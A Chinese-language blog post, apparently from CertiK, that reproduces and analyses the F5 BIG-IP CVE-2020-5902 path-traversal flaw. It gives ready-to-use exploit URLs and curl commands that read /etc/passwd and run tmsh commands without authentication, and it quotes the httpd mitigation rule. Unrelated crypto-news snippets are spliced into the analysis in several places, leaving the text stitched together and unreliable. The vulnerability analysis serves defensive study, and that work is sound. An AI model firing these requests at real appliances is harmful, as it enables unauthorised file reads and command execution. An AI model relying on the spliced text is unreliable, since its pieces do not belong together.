前言
今日一早起来推特以及各大技术论坛上炸开了锅，安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容，大部分是在分享如何寻找目标，利用漏洞，并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序，搭建环境复现漏洞后，对漏洞的起因进行了分析，并在下文分享给大家。
背景
F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。PositiveTechnologies的研究人员MikhailKlyuchnikov发现其配置工具TrafficManagementUserInterface中存在远程代码执行漏洞，CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分，攻击者可利用该漏洞创建或删除文件，关闭服务、执行任意的系统命令，最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。
受影响的BIG-IP软件版本
漏洞利用
读取任意文件:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Larry Cermak：Customers Bank等银行仍为加密行业提供服务:3月13日消息，The Block研究总监Larry Cermak发推称，为加密货币业务提供银行服务的三家美国银行被淘汰。不过，Customers Bank、First Foundation Bank、Cross River Bank、Sutton Bank、Evolve Bank & Trust、BankProv、Quontic Bank等银行仍然提供加密货币银行服务。Larry Cermak表示，自己没有提到像摩根大通、 纽约梅隆银行这样的大银行，是因为大多数小企业都无法使用这些银行。[2023/3/13 13:00:38]
远程执行tmsh命令:
curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
官方给出的临时修复方案(后文会对修复进行分析)：
漏洞复现
在F5的官网注册账号之后，可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系统)的虚拟机镜像。CertiK技术团队因为使用VmwareFusion,下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。
Supre NFT已通过Certik安全审计:据官方消息，多元融合NFT超级平台Supre NFT已通过区块链安全公司CertiK的安全审计。
Supre NFT是一个多元融合的NFT平台，涵盖了NFT创作与交易、拍卖、实物映射NFT、抵押、NFT社交等生态应用，包括SupreNFT、SupreART、SupreME、SupreFi等平台，最终汇聚打造NFT平台SupreTop。
CertiK是区块链网络安全公司，于2017年由耶鲁大学计算机系主任邵中教授与哥伦比亚大学计算机系顾荣辉教授共同创建。[2021/10/23 6:09:13]
在VmwareFusion中加载镜像(import)：
加载完成之后，使用默认用户名密码登陆系统：
用户名:root
密码:default
系统初始化之后，使用”ifconfig”命令查询虚拟机IP地址。CertiK技术团队的BIG-IPTMUI虚拟机IP地址为”172.16.4.137”。
在浏览器中访问BIG-IPTMUI登陆界面:
https://172.16.4.137/tmui/login.jsp
DeFi跨链永续合约平台YFX.COM将于今日18:00在Balancer进行LBP:据官方最新消息，跨链去中心化永续合约平台YFX.COM将于5月7日18:00在Balancer进行LBP。任何人均可参与获取YFX Token，此次LBP将持续48小时，于5月9日 18:00结束。LBP结束后将会开启DEX交易。
YFX.COM由NGC、SNZ、DFG、LD等机构战略投资，目前已经完成ETH（layer2）、BSC、Heco、Tron主网以及OKExChain测试网的上线，能提供高达100倍永续合约交易BTC、ETH等资产,多次通过CertiK 智能合约安全审计,实现了衍生品交易的去中心化部署。 YFX.COM创新使用高流动性、低滑点的 QIC-AMM 做市商池交易机制，融合了永续合约交易员期望的 CeFi式杠杆以及 DeFi系统的 AMM 的流动性和简便性。[2021/5/7 21:33:51]
复现任意文件读取:
在浏览器中访问以下地址可以读取”/etc/passwd”文件内容：
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
动态 | NBA拒绝了篮球运动员Spencer Dinwiddie将其合同代币化的要求:布鲁克林篮网队的篮球运动员Spencer Dinwiddie正在建立自己的加密公司，并试图将他至少高达3436万美元的续约合同转变为数字代币形式，以增加资本并确保未来收入。NBA最近拒绝了这一要求，称不会将他的续约合同转变为数字代币投资工具。NBA表示：“按照合同规定，球员不可向任何第三方转让其从球队获得薪酬的权利。”（The Block）[2019/9/28]
复现tmsh命令执行:
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
漏洞分析
在进入漏洞分析前，先要明确一点：漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身是可以被访问的。
Bitfinex新投票系统允许为EOS Block Producers投票:据Coin Pedia消息，Bitfinex的新投票系统Bitfinex Ballot将允许EOS持有者在交易平台上直接为EOS Block Producers投票。文章评论称，这对于投票困难的EOS持有者和Block Producers来说无疑是一件好事，此外Bitfinex作为EOS Block Producers的主要候选对象，排名第12，如果保持这样的投票速度，将确定其成为EOS BP。[2018/6/19]
下面的截图显示了登陆前和登陆后访问以下URL的区别：
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
登陆前访问：
被跳转回登陆界面
输入账号密码登陆管理界面之后再访问，可执行fileRead.jsp读取文件。
fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件，但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制,在未授权的情况下，访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.这里可以查看演讲稿件(参考链接2)。
这里我们可以理解在F5BIG-IP的后台服务器对收到了URL请求进行了两次的解析，第一次是httpd(Apache),第二次是后一层的Java(tomcat).
在URL在第一次被Apache解析时，Apache关注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
当Apache在看见前半段是合法URL且是允许被访问的页面时，就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。
在URL在第二次被解析时，后面的Java(tomcat)会把/..;/理解为，向上返回一层路径。此时,/login.jsp/和/..;/会抵消掉。Tomcat看到的真正请求从
https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
变成了:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
再来fileRead.jsp并没有对收到的请求进行身份验证，后台因此直接执行fileRead.jsp,读取并返回了/etc/passwd文件的内容。
根据以上的思路，其实可以找出别的利用漏洞的URL,比如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
这里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样，是一个不需要登陆就能访问的页面。但是因为要向上返回两次，需要用两个/..;/来抵消掉”/login/legal.html”。
回到开头提到的官方给出的临时修复方案,修复方案的本质是在httpd的配置中添加以下规则:
include'
<LocationMatch".*\\.\\.;.*">
Redirect404/
</LocationMatch>
'
这个规则的意思是，当http服务器在监测到URL中包含..;(句号句号分号)的时候，直接返回404.这样利用漏洞的请求就没办法到达后台(第二层)了。
如何避免漏洞：
此漏洞的利用方式在网络上公开之后，因为它的攻击成本低廉，大批黑客都开始图谋利用此漏洞攻击使用F5BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权，对系统产生巨大的破坏。
俗话说：“不怕贼偷，就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上，不代表你是安全的。因为很有可能黑客的下一个目标就是你。
而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测，第一时间给客户提交漏洞预警报告，帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。
同时作为一名安全技术人员，在新漏洞被发现的时，不仅需要知道漏洞是如何被黑客利用的，更要去探寻漏洞背后的原因，方可积累经验，更加有能力在复杂的系统中发现隐藏的漏洞。
CertiK以及其技术人员，将永远把安全当做信仰，与大家一同学习并一同成长。
参考链接
1.https://cve.mitre.org/
2.https://downloads.f5.com/
3.https://i.blackhat.com/
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。